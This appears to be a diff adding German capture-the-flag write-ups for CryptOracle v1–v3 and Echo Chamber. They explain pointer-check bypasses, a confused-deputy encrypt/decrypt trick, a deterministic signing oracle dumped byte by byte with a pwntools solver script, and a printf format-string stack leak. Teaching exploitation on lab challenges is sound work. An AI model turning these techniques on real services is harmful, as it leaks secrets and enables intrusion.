||||||
|
char local_418 [512];
|
||||||
|
undefined1 local_218 [520];
|
||||||
|
long local_10;
|
||||||
|
|
||||||
|
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||||
|
setvbuf((FILE *)stdout,(char *)0x0,2,0);
|
||||||
|
puts("CryptOracle v1.0");
|
||||||
|
setup_memory();
|
||||||
|
puts("Type \'help\' for commands.");
|
||||||
|
while( true ) {
|
||||||
|
pcVar2 = fgets(local_418,0x200,(FILE *)stdin);
|
||||||
|
if (pcVar2 == (char *)0x0) break;
|
||||||
|
iVar1 = strncmp(local_418,"rm",2);
|
||||||
|
if (iVar1 == 0) {
|
||||||
|
iVar1 = __isoc99_sscanf(local_418,"rm 0x%x %d",&local_420,&local_41c);
|
||||||
|
if (iVar1 == 2) {
|
||||||
|
do_read(local_420,local_41c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// ... (andere Befehle) ...
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Der `rm`-Befehl nimmt eine hexadezimale Adresse und eine dezimale Größe entgegen und ruft dann die `do_read`-Funktion auf.
|
||||||
|
|
||||||
|
### 2. Speicherinitialisierung (`setup_memory`)
|
||||||
|
|
||||||
|
Die `setup_memory`-Funktion offenbart, wo die Flagge platziert wird.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void setup_memory(void)
|
||||||
|
|
||||||
|
{
|
||||||
|
void *pvVar1;
|
||||||
|
FILE *__stream;
|
||||||
|
size_t sVar2;
|
||||||
|
|
||||||
|
puts("Setting up memory...");
|
||||||
|
pvVar1 = mmap64((void *)0x10000,0x1000,3,0x32,-1,0);
|
||||||
|
// ...
|
||||||
|
pvVar1 = mmap64((void *)0x20000,0x8000,3,0x32,-1,0);
|
||||||
|
// ...
|
||||||
|
memset((void *)0x10000,0,0x1000);
|
||||||
|
memset((void *)0x20000,0,0x8000);
|
||||||
|
__stream = fopen64("flag.bin","rb");
|
||||||
|
if (__stream != (FILE *)0x0) {
|
||||||
|
sVar2 = fread((void *)0x10000,1,0x800,__stream);
|
||||||
|
fclose(__stream);
|
||||||
|
// ...
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Wir bestätigen, dass die Flagge aus `flag.bin` direkt in den "Secure Memory"-Bereich bei `0x10000` geladen wird.
|
||||||
|
|
||||||
|
### 3. Schwachstellenanalyse (`get_ptr`)
|
||||||
|
|
||||||
|
Die `do_read`-Funktion ruft einen Helfer namens `get_ptr` auf, um den Speicherzugriff zu validieren, bevor Daten gedruckt werden.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void do_read(undefined4 param_1,undefined4 param_2)
|
||||||
|
|
||||||
|
{
|
||||||
|
long lVar1;
|
||||||
|
|
||||||
|
lVar1 = get_ptr(param_1,param_2,0);
|
||||||
|
if (lVar1 == 0) {
|
||||||
|
puts("ERR_ACCESS_VIOLATION");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print_hex(lVar1,param_2);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Untersuchen wir nun die Logik in `get_ptr`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
uint get_ptr(uint param_1,int param_2,int param_3)
|
||||||
|
|
||||||
|
{
|
||||||
|
// 1. Integer-Überlaufprüfung: Sicherstellen, dass Adresse + Größe nicht überläuft
|
||||||
|
if (param_2 + param_1 < param_1) {
|
||||||
|
param_1 = 0;
|
||||||
|
}
|
||||||
|
// 2. Bereichsvalidierung: Prüfen, ob der Zugriff innerhalb der gemappten Bereiche liegt
|
||||||
|
else if ((param_1 < 0x10000) || (0x11000 < param_2 + param_1)) {
|
||||||
|
// Wenn nicht im Secure Memory (0x10000-0x11000), prüfe User Memory (0x20000-0x28000)
|
||||||
|
if ((param_1 < 0x20000) || (0x28000 < param_2 + param_1)) {
|
||||||
|
param_1 = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 3. Sicherheitsprüfung: Blockiere Zugriff auf den Flaggenbereich (0x10000 - 0x10800)
|
||||||
|
// Dies wird NUR erzwungen, wenn param_3 (check_secure) ungleich Null ist
|
||||||
|
else if ((param_3 != 0) && (param_1 - 0x10000 < 0x800)) {
|
||||||
|
param_1 = 0;
|
||||||
|
}
|
||||||
|
return param_1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Validierungslogik in `get_ptr` funktioniert wie folgt:
|
||||||
|
1. **Integer-Überlauf**: Es wird geprüft, ob `size + addr` überläuft.
|
||||||
|
2. **Bereichsvalidierung**: Es wird sichergestellt, dass der Zugriff innerhalb des Secure Memory (`0x10000-0x11000`) oder User Memory (`0x20000-0x28000`) liegt.
|
||||||
|
3. **Sicherheitsbeschränkung**: Es wird explizit der Zugriff auf die ersten `0x800` Bytes des Secure Memory (wo die Flagge gespeichert ist) blockiert, **NUR WENN** `param_3` (das `check_secure`-Flag) ungleich Null ist.
|
||||||
|
|
||||||
|
Entscheidend ist, dass in der `do_read`-Funktion (die den `rm`-Befehl implementiert) das dritte Argument, das an `get_ptr` übergeben wird, **fest auf `0` gesetzt ist**. Das bedeutet, dass die spezifische Prüfung, die die geheimen Schlüssel schützt, umgangen wird, wenn der Befehl "read memory" verwendet wird.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Da der `rm`-Befehl die Isolationsprüfung in `get_ptr` umgeht, können wir das sichere RAM direkt dumpen.
|
||||||
|
|
||||||
|
1. Mit dem Server verbinden.
|
||||||
|
2. Den Speicher an der Adresse `0x10000` lesen.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
> rm 0x10000 32
|
||||||
|
00010000: 7b 66 6c 61 67 3a 20 74 68 61 74 5f 77 61 73 5f {flag: that_was_
|
||||||
|
00010010: 74 6f 6f 5f 65 61 73 79 5f 72 69 67 68 74 3f 7d too_easy_right?}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Flagge wird enthüllt: `{flag: that_was_too_easy_right?}`
|
||||||
|
|
||||||
|
```
|
||||||
133
de/cryptoracle_v2.md
Normal file
133
de/cryptoracle_v2.md
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
# CryptOracle v2
|
||||||
|
|
||||||
|
`CryptOracle v2` ist die "gehärtete" Version des HSM-Simulators. Die Schwachstelle des direkten Speicherlesens aus v1 wurde behoben, aber eine neue "Kryptographische Engine" wurde hinzugefügt. Das Ziel ist dasselbe: den geheimen Schlüssel aus dem sicheren Speicherbereich bei `0x10000` zu dumpen.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Nachdem wir uns mit dem Server verbunden haben, sehen wir eine vertraute Oberfläche mit neuen Befehlen wie `enc` und `dec`.
|
||||||
|
|
||||||
|
```
|
||||||
|
CryptOracle v2.0 (Hardened!)
|
||||||
|
Setting up memory...
|
||||||
|
0x10000 - 0x11000 : Secure Memory (Keys/ROM)
|
||||||
|
0x20000 - 0x28000 : User Memory
|
||||||
|
Type 'help' for commands.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
Wir öffnen die Binärdatei in Ghidra und überprüfen die Funktionen, die sich geändert haben.
|
||||||
|
|
||||||
|
### 1. Der Patch (`do_read`)
|
||||||
|
|
||||||
|
Die `do_read`-Funktion enthält jetzt eine explizite Prüfung, die jeden Versuch blockiert, von Adressen unterhalb des Benutzerspeicherbereichs zu lesen.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void do_read(uint32_t offset,uint32_t len)
|
||||||
|
{
|
||||||
|
uint8_t *data;
|
||||||
|
|
||||||
|
// Diese Prüfung verhindert, dass wir 0x10000 direkt lesen.
|
||||||
|
if (offset < 0x20000) {
|
||||||
|
puts("ERR_ACCESS_VIOLATION");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// ... (Rest der Funktion)
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Das einfache `rm 0x10000 32` aus v1 funktioniert nicht mehr.
|
||||||
|
|
||||||
|
### 2. Die Kryptographische Engine (`do_cipher`)
|
||||||
|
|
||||||
|
Da die Schwachstelle des direkten Lesens aus v1 gepatcht wurde, müssen wir nun andere Befehle als potenzielle Angriffsfläche untersuchen. Die Befehle `enc` und `dec`, die zuvor schon vorhanden waren, rücken nun in unseren Fokus. Sie werden von der `do_cipher`-Funktion behandelt. Sie ermöglicht das Verschlüsseln oder Entschlüsseln von Daten von einer Quelladresse zu einer Zieladresse unter Verwendung eines Schlüssels, der in einem sicheren "Slot" gespeichert ist.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void do_cipher(char mode, uint32_t src_off, uint32_t len, int slot, uint32_t dst_off)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
// Zeiger auf Quellpuffer abrufen (kann überall sein)
|
||||||
|
src_ptr = get_ptr(src_off, len, 0);
|
||||||
|
|
||||||
|
// Zeiger auf Zielpuffer abrufen (muss beschreibbar sein)
|
||||||
|
dst_ptr = get_ptr(dst_off, len, 1);
|
||||||
|
|
||||||
|
// Zeiger auf den Schlüssel aus einem sicheren Slot abrufen
|
||||||
|
// Adresse wird berechnet als 0x10000 + slot * 32
|
||||||
|
key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0);
|
||||||
|
|
||||||
|
if (/* alle Zeiger sind gültig */) {
|
||||||
|
// ... führt AES-Verschlüsselung/-Entschlüsselung blockweise durch ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die wichtigste Erkenntnis liegt darin, wie die Zeiger validiert werden, was alles innerhalb der `get_ptr`-Funktion geschieht.
|
||||||
|
|
||||||
|
### 3. Schwachstellenanalyse (`get_ptr`)
|
||||||
|
|
||||||
|
Hier ist die dekompilierte `get_ptr`-Funktion aus Ghidra. Sie nimmt einen Offset, eine Länge und ein Flag `is_write` entgegen, das `1` für Schreiboperationen und `0` für Leseoperationen ist.
|
||||||
|
|
||||||
|
```c
|
||||||
|
uint8_t * get_ptr(uint32_t offset,uint32_t len,int is_write)
|
||||||
|
|
||||||
|
{
|
||||||
|
uint8_t *puVar1;
|
||||||
|
|
||||||
|
if (len + offset < offset) {
|
||||||
|
puVar1 = (uint8_t *)0x0;
|
||||||
|
}
|
||||||
|
else if ((offset < 0x10000) || (0x11000 < len + offset)) {
|
||||||
|
if ((offset < 0x20000) || (0x28000 < len + offset)) {
|
||||||
|
puVar1 = (uint8_t *)0x0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
puVar1 = (uint8_t *)(ulong)offset;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ((is_write == 0) || (0x7ff < offset - 0x10000)) {
|
||||||
|
puVar1 = (uint8_t *)(ulong)offset;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
puVar1 = (uint8_t *)0x0;
|
||||||
|
}
|
||||||
|
return puVar1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Die Schwachstelle:**
|
||||||
|
Die Logik im letzten `else if`-Block ist fehlerhaft. Verfolgen wir sie für eine Leseoperation (`is_write == 0`) im sicheren Flaggenbereich (`offset = 0x10000`).
|
||||||
|
* Der Ausdruck ist `(is_write == 0) || (0x7ff < offset - 0x10000)`.
|
||||||
|
* Da `is_write` `0` ist, ist der erste Teil des ODER `(0 == 0)` **wahr**.
|
||||||
|
* Der gesamte Ausdruck wird `wahr`, und der Zugriff wird gewährt, wodurch ein gültiger Zeiger zurückgegeben wird.
|
||||||
|
|
||||||
|
Die Prüfung, die das Schreiben in die ersten 2KB des sicheren Speichers (`0x7ff < offset - 0x10000`) verhindern sollte, wird für jede Leseoperation vollständig umgangen. Die `do_cipher`-Funktion missbraucht dies, indem sie ein Lesen (`is_write=0`) auf der sicheren Flagge anfordert, was `get_ptr` erlaubt. Dies erzeugt ein **Confused Deputy**-Szenario, bei dem wir die legitimen Leseberechtigungen des Orakels nutzen, um Daten zu exfiltrieren.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Der Angriff ist ein zweistufiger Prozess:
|
||||||
|
|
||||||
|
1. **Verschlüsseln**: Verwenden Sie den `enc`-Befehl, um das Orakel anzuweisen, aus dem sicheren Flaggenbereich (`0x10000`) zu lesen und das verschlüsselte Ergebnis (Chiffretext) in den benutzerzugänglichen Speicher (`0x20000`) zu schreiben.
|
||||||
|
2. **Entschlüsseln**: Verwenden Sie den `dec`-Befehl, um das Orakel anzuweisen, den Chiffretext aus dem Benutzerspeicher (`0x20000`) zu lesen und das entschlüsselte Ergebnis (Klartext) zurück an eine andere Stelle im Benutzerspeicher (`0x20100`) zu schreiben.
|
||||||
|
3. **Lesen**: Verwenden Sie den jetzt reparierten `rm`-Befehl, um die Klartext-Flagge von `0x20100` zu lesen.
|
||||||
|
|
||||||
|
### Ausführung
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Schritt 1: Verschlüsseln der Flagge aus dem sicheren Speicher in den Benutzerspeicher
|
||||||
|
> enc 0x10000 32 30 0x20000
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Schritt 2: Entschlüsseln des Chiffretextes aus dem Benutzerspeicher an eine andere Stelle im Benutzerspeicher
|
||||||
|
> dec 0x20000 32 30 0x20100
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Schritt 3: Lesen der Klartext-Flagge aus dem Benutzerspeicher
|
||||||
|
> rm 0x20100 32
|
||||||
|
00020100: 7b 66 6c 61 67 3a 20 73 65 6c 66 5f 65 6e 63 72 {flag: self_encr
|
||||||
|
00020110: 79 70 74 69 6f 6e 5f 69 73 5f 6e 69 63 65 21 7d yption_is_nice!}
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Flagge wird enthüllt: `{flag: self_encryption_is_nice!}`
|
||||||
195
de/cryptoracle_v3.md
Normal file
195
de/cryptoracle_v3.md
Normal file
@@ -0,0 +1,195 @@
|
|||||||
|
# CryptOracle v3
|
||||||
|
|
||||||
|
`CryptOracle v3` ist das "Gold Master" Release des HSM-Simulators. Die Schwachstellen aus v1 (direktes Lesen) und v2 (Confused Deputy) wurden gepatcht. Die Herausforderung besteht darin, die neue Schwachstelle in den kryptographischen Funktionen zu finden, um die geheime Flagge zu dumpen.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Nachdem wir uns mit dem Server verbunden haben, sehen wir eine vertraute Oberfläche:
|
||||||
|
|
||||||
|
```
|
||||||
|
CryptOracle v3.0 (Bullet proof!)
|
||||||
|
...
|
||||||
|
Type 'help' for commands.
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Binärdatei ist nicht gestrippt, was unsere Analyse in Ghidra erleichtert.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
### 1. Die Patches
|
||||||
|
|
||||||
|
Zuerst überprüfen wir die Fixes.
|
||||||
|
- **`do_read`**: Hat immer noch die Prüfung `if (offset < 0x20000)`, die direkte Lesevorgänge im sicheren Speicher blockiert.
|
||||||
|
- **`get_ptr`**: Hat jetzt ein viertes Argument `is_privileged`. Wir stellen fest, dass `do_cipher` (für `enc` und `dec`) `get_ptr` mit `is_privileged=0` aufruft, was bedeutet, dass es überhaupt nicht mehr auf sicheren Speicher zugreifen kann. Der Confused Deputy Angriff ist behoben.
|
||||||
|
|
||||||
|
### 2. Die neue Angriffsfläche (`do_sign`)
|
||||||
|
|
||||||
|
Die Challenge-Beschreibung deutet an, dass der `sig`-Befehl unser neuer Fokus ist. Die `do_sign`-Funktion wird aufgerufen, und im Gegensatz zu `do_cipher` ist sie privilegiert.
|
||||||
|
|
||||||
|
```c
|
||||||
|
/* Dekompilierte do_sign Funktion */
|
||||||
|
void do_sign(uint32_t src_off, uint32_t len, int slot, uint32_t dst_off)
|
||||||
|
{
|
||||||
|
long lVar1;
|
||||||
|
uint8_t *src_ptr;
|
||||||
|
uint8_t *dst_ptr;
|
||||||
|
uint8_t *key_ptr;
|
||||||
|
AES_KEY k;
|
||||||
|
uint8_t block [16]; // Ein 16-Byte-Puffer auf dem Stack
|
||||||
|
|
||||||
|
// Alle Zeiger werden mit privilegiertem Zugriff angefordert (letztes Argument ist 1)
|
||||||
|
src_ptr = get_ptr(src_off, len, 0, 1);
|
||||||
|
dst_ptr = get_ptr(dst_off, 0x10, 1, 1);
|
||||||
|
key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0, 1);
|
||||||
|
|
||||||
|
if (/* Zeiger sind gültig */) {
|
||||||
|
AES_set_encrypt_key(key_ptr, 0x80, &k);
|
||||||
|
|
||||||
|
// Der Stack-Puffer wird ausgenullt
|
||||||
|
memset(block, 0, 0x10);
|
||||||
|
|
||||||
|
// Die Eingabelänge wird auf 16 Byte begrenzt
|
||||||
|
if (0x10 < len) {
|
||||||
|
len = 0x10;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Die (bis zu) 16 Bytes von der Quelle werden in den Block kopiert
|
||||||
|
memcpy(block, src_ptr, (ulong)len);
|
||||||
|
|
||||||
|
// Der Block wird verschlüsselt und an das Ziel geschrieben
|
||||||
|
AES_encrypt(block, dst_ptr, &k);
|
||||||
|
puts("OK");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Wichtige Erkenntnisse aus `do_sign`:
|
||||||
|
1. **Privilegiert**: Sie kann von überall lesen, einschließlich der geheimen Flagge bei `0x10000`.
|
||||||
|
2. **Deterministisch**: Das "Signieren" ist einfach eine AES-ECB-Verschlüsselung. Für einen gegebenen Schlüssel und einen gegebenen Eingabeblock ist die Ausgabe immer gleich.
|
||||||
|
3. **Padding**: Die Funktion nimmt bis zu 16 Bytes Eingabe, kopiert sie in einen mit Nullen aufgefüllten 16-Byte-Block und verschlüsselt dann den Block. Das ist entscheidend: `sig` auf einem einzelnen Byte `X` ist effektiv `Enc(Key, [X, 0, 0, ...])`.
|
||||||
|
|
||||||
|
### 3. Die Schwachstelle: Deterministisches Orakel
|
||||||
|
|
||||||
|
Da das Signieren deterministisch ist, können wir es als **Verschlüsselungsorakel** verwenden. Wir können es bitten, beliebige Daten, die wir wollen, mit einem der Hauptschlüssel (z.B. Slot 0) zu "signieren" (verschlüsseln). Wenn wir jedes mögliche Byte von 0-255 verschlüsseln, können wir eine Lookup-Tabelle erstellen, die das ursprüngliche Byte auf seine Signatur abbildet.
|
||||||
|
|
||||||
|
Dies ermöglicht einen klassischen **Rainbow Table** Angriff.
|
||||||
|
|
||||||
|
## Lösung
|
||||||
|
|
||||||
|
Der Angriff besteht aus zwei Phasen:
|
||||||
|
|
||||||
|
1. **Erstellen einer Rainbow Table**:
|
||||||
|
* Iteriere durch alle 256 möglichen Bytewerte.
|
||||||
|
* Schreibe jedes Byte in den Benutzerspeicher (z.B. `0x20000`).
|
||||||
|
* Verwende den `sig`-Befehl mit einem Hauptschlüssel (Slot 0), um dieses einzelne Byte zu verschlüsseln.
|
||||||
|
* Lies die 16-Byte-Signatur aus dem Ausgabepuffer.
|
||||||
|
* Speichere die Zuordnung `Signatur -> Byte`.
|
||||||
|
|
||||||
|
2. **Dumpen des sicheren Speichers**:
|
||||||
|
* Iteriere durch die Adressen der geheimen Flagge (`0x10000`, `0x10001`, usw.).
|
||||||
|
* Verwende für jede Adresse den `sig`-Befehl, um die Signatur des einzelnen geheimen Bytes an dieser Adresse zu erhalten.
|
||||||
|
* Suche die resultierende Signatur in unserer Rainbow Table, um das ursprüngliche geheime Byte zu finden.
|
||||||
|
|
||||||
|
### Schritt-für-Schritt-Ausführung
|
||||||
|
|
||||||
|
Hier ist, wie wir das Lookup für das erste Byte der Flagge manuell durchführen würden.
|
||||||
|
|
||||||
|
**1. Tabelle für ein bekanntes Byte erstellen, z.B. 'A' (0x41)**
|
||||||
|
```bash
|
||||||
|
# Schreibe 'A' in den Benutzerspeicher
|
||||||
|
> wm 0x20000 1 41
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Signiere dieses Byte mit dem Hauptschlüssel in Slot 0
|
||||||
|
> sig 0x20000 1 0 0x20100
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Lies die Signatur
|
||||||
|
> rm 0x20100 16
|
||||||
|
00020100: d85de6195410...
|
||||||
|
```
|
||||||
|
Jetzt wissen wir, dass die Signatur `d85de6...` dem Klartext-Byte `A` entspricht. Wir wiederholen dies für alle 256 Bytes.
|
||||||
|
|
||||||
|
**2. Signatur des ersten geheimen Bytes abrufen**
|
||||||
|
```bash
|
||||||
|
# Signiere das Byte am Anfang des sicheren Bereichs
|
||||||
|
> sig 0x10000 1 0 0x20100
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Lies seine Signatur
|
||||||
|
> rm 0x20100 16
|
||||||
|
00020100: 555c441c2...
|
||||||
|
```
|
||||||
|
|
||||||
|
**3. Nachschlagen und wiederholen**
|
||||||
|
Wir finden heraus, welches Klartext-Byte der Signatur `555c44...` in unserer vorgefertigten Tabelle entspricht. Dies enthüllt das erste Byte der Flagge. Wir wiederholen dies für alle 32 Bytes, um die gesamte Flagge zu dumpen.
|
||||||
|
|
||||||
|
### Finales Solver-Skript
|
||||||
|
|
||||||
|
Das `solve.py` Skript automatisiert diesen gesamten Prozess.
|
||||||
|
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# --- Konfiguration ---
|
||||||
|
HOST = '127.0.0.1'
|
||||||
|
PORT = 1339
|
||||||
|
|
||||||
|
# Speicherkarte
|
||||||
|
SECRET_BASE = 0x10000
|
||||||
|
USER_BASE = 0x20000
|
||||||
|
USER_SCRATCH = USER_BASE + 0x200
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
io = remote(HOST, PORT)
|
||||||
|
io.recvuntil(b"Type 'help' for commands.
|
||||||
|
")
|
||||||
|
log.info(f"Connected. dumping memory from 0x{SECRET_BASE:x}...")
|
||||||
|
|
||||||
|
# --- Phase 1: Rainbow Table erstellen (0x00 - 0xFF) ---
|
||||||
|
log.info("Phase 1: Building Rainbow Table...")
|
||||||
|
rainbow_table = {}
|
||||||
|
prog = log.progress("Mapping")
|
||||||
|
|
||||||
|
for b in range(256):
|
||||||
|
byte_hex = f"{b:02x}"
|
||||||
|
io.sendline(f"wm 0x{USER_BASE:x} 1 {byte_hex}".encode())
|
||||||
|
io.recvuntil(b"OK\n")
|
||||||
|
io.sendline(f"sig 0x{USER_BASE:x} 1 0 0x{USER_SCRATCH:x}".encode())
|
||||||
|
io.recvuntil(b"OK\n")
|
||||||
|
io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode())
|
||||||
|
signature = io.recvline().strip().decode()
|
||||||
|
rainbow_table[signature] = b
|
||||||
|
if b % 16 == 0: prog.status(f"{b}/255")
|
||||||
|
prog.success(f"Done. ({len(rainbow_table)} entries)")
|
||||||
|
|
||||||
|
# --- Phase 2: Sicheren Speicher dumpen ---
|
||||||
|
log.info("Phase 2: Dumping first 32 bytes of Secure Memory...")
|
||||||
|
dumped_bytes = []
|
||||||
|
for i in range(32):
|
||||||
|
target_addr = SECRET_BASE + i
|
||||||
|
io.sendline(f"sig 0x{target_addr:x} 1 0 0x{USER_SCRATCH:x}".encode())
|
||||||
|
io.recvuntil(b"OK\n")
|
||||||
|
io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode())
|
||||||
|
secret_sig = io.recvline().strip().decode()
|
||||||
|
|
||||||
|
if secret_sig in rainbow_table:
|
||||||
|
val = rainbow_table[secret_sig]
|
||||||
|
dumped_bytes.append(val)
|
||||||
|
else:
|
||||||
|
dumped_bytes.append(0)
|
||||||
|
|
||||||
|
# ASCII-Darstellung drucken
|
||||||
|
ascii_repr = "".join([chr(b) if 32 <= b <= 126 else '.' for b in dumped_bytes])
|
||||||
|
log.success(f"Flag: {ascii_repr}")
|
||||||
|
|
||||||
|
io.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve()
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Das Ausführen des Skripts liefert die Flagge:
|
||||||
|
`{flag: self_encryption_is_nice!}`
|
||||||
104
de/echo_chamber.md
Normal file
104
de/echo_chamber.md
Normal file
@@ -0,0 +1,104 @@
|
|||||||
|
# Echo Chamber
|
||||||
|
|
||||||
|
Hallo! Willkommen zum Write-up für **Echo Chamber**. Dies ist eine klassische "pwn"-Challenge, die eine sehr verbreitete, aber mächtige Schwachstelle demonstriert: die **Format-String-Schwachstelle**.
|
||||||
|
|
||||||
|
In dieser Challenge erhalten wir ein kompiliertes Binary. Wenn wir den ursprünglichen Quellcode nicht haben, verwenden wir Tools wie **Ghidra**, um das Binary zu dekompilieren und zu sehen, was das Programm "unter der Haube" macht.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Erkundung (Reconnaissance)
|
||||||
|
|
||||||
|
Wenn wir das Programm ausführen, bittet es um eine Eingabe und gibt sie "echoförmig" zurück:
|
||||||
|
|
||||||
|
```text
|
||||||
|
Welcome to the Echo Chamber!
|
||||||
|
Give me a phrase, and I will shout it back: Hello!
|
||||||
|
You said: Hello!
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Beschreibung des Entwicklers gibt uns einen Hinweis:
|
||||||
|
> "Der Entwickler behauptet, es sei vollkommen sicher, weil 'es keinen Code ausführt, sondern nur Text druckt'."
|
||||||
|
|
||||||
|
Dies ist eine klassische "Berühmte letzte Worte"-Situation in der IT-Sicherheit! Schauen wir uns den dekompilierten Code an, um zu verstehen, warum.
|
||||||
|
|
||||||
|
## 2. Analyse des dekompilierten Codes (Ghidra)
|
||||||
|
|
||||||
|
Beim Öffnen des Binarys in Ghidra finden wir die Funktion `vuln()`. Hier ist der Pseudocode, den wir erhalten:
|
||||||
|
|
||||||
|
```c
|
||||||
|
void vuln(void)
|
||||||
|
{
|
||||||
|
char acStack_a0 [64]; // Unser Eingabepuffer
|
||||||
|
char local_60 [72]; // Hier wird das Flag gespeichert
|
||||||
|
FILE *local_18;
|
||||||
|
|
||||||
|
local_18 = fopen64("flag.txt","r");
|
||||||
|
if (local_18 == (FILE *)0x0) {
|
||||||
|
puts("Flag file is missing!");
|
||||||
|
exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
// 1. Das Flag wird in local_60 eingelesen
|
||||||
|
fgets(local_60,0x40,local_18);
|
||||||
|
fclose(local_18);
|
||||||
|
|
||||||
|
puts("Welcome to the Echo Chamber!");
|
||||||
|
printf("Give me a phrase, and I will shout it back: ");
|
||||||
|
|
||||||
|
// 2. Unsere Eingabe wird in acStack_a0 eingelesen
|
||||||
|
fgets(acStack_a0,0x40,(FILE *)stdin);
|
||||||
|
|
||||||
|
printf("You said: ");
|
||||||
|
// 3. SCHWACHSTELLE: Unsere Eingabe wird direkt an printf übergeben!
|
||||||
|
printf(acStack_a0);
|
||||||
|
putchar(10);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Siehst du die Zeile `printf(acStack_a0);`? Das ist unser "goldenes Ticket".
|
||||||
|
|
||||||
|
## 3. Die Schwachstelle: Format-Strings
|
||||||
|
|
||||||
|
In C erwartet `printf`, dass sein erstes Argument ein **Format-String** ist (wie `"%s"` oder `"Hallo %s"`). Wenn ein Entwickler die Benutzereingabe direkt an `printf` übergibt, kann der Benutzer seine eigenen Format-Spezifizierer angeben.
|
||||||
|
|
||||||
|
Wenn `printf` einen Spezifizierer wie `%p` (Pointer drucken) oder `%x` (Hexadezimalwert drucken) sieht, sucht es nach dem nächsten Argument auf dem **Stack**. Wenn wir keine Argumente angeben, beginnt `printf` einfach damit, alles auszugeben, was sich bereits auf dem Stack befindet!
|
||||||
|
|
||||||
|
### Wo ist das Flag?
|
||||||
|
Wenn wir uns die Ghidra-Ausgabe ansehen, bemerken wir, dass sowohl `acStack_a0` (unsere Eingabe) als auch `local_60` (das Flag) **lokale Variablen** sind. Das bedeutet, dass beide direkt nebeneinander auf dem Stack gespeichert sind.
|
||||||
|
|
||||||
|
## 4. Ausnutzen des "Echos"
|
||||||
|
|
||||||
|
Wenn wir eine Kette von Format-Spezifizierern wie `%p %p %p %p %p %p...` senden, können wir `printf` dazu bringen, den Inhalt des Stacks auszugeben. Da das Flag auf dem Stack liegt, wird es schließlich mit ausgedruckt!
|
||||||
|
|
||||||
|
Versuche dies als Eingabe:
|
||||||
|
`%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p`
|
||||||
|
|
||||||
|
Das Programm wird mit einer Reihe von Hexadezimal-Adressen antworten. Einige dieser Werte sind tatsächlich die ASCII-Zeichen unseres Flags.
|
||||||
|
|
||||||
|
### Little Endianness
|
||||||
|
Wenn du die Hex-Werte siehst, denke daran, dass moderne Systeme die **Little Endian**-Byte-Reihenfolge verwenden. Das bedeutet, dass die Bytes in umgekehrter Reihenfolge gespeichert werden.
|
||||||
|
|
||||||
|
Wenn du zum Beispiel `0x7b67616c66` siehst und diese Bytes von Hexadezimal in ASCII umwandelst:
|
||||||
|
- `66` = `f`
|
||||||
|
- `6c` = `l`
|
||||||
|
- `61` = `a`
|
||||||
|
- `67` = `g`
|
||||||
|
- `7b` = `{`
|
||||||
|
|
||||||
|
Der Wert `0x7b67616c66` repräsentiert also `flag{` in umgekehrter Reihenfolge!
|
||||||
|
|
||||||
|
## 5. Alles zusammenfügen
|
||||||
|
|
||||||
|
Um die Challenge zu lösen:
|
||||||
|
1. Verbinde dich mit dem Dienst.
|
||||||
|
2. Sende viele `%p`-Spezifizierer, um den Stack auszulesen (Leak).
|
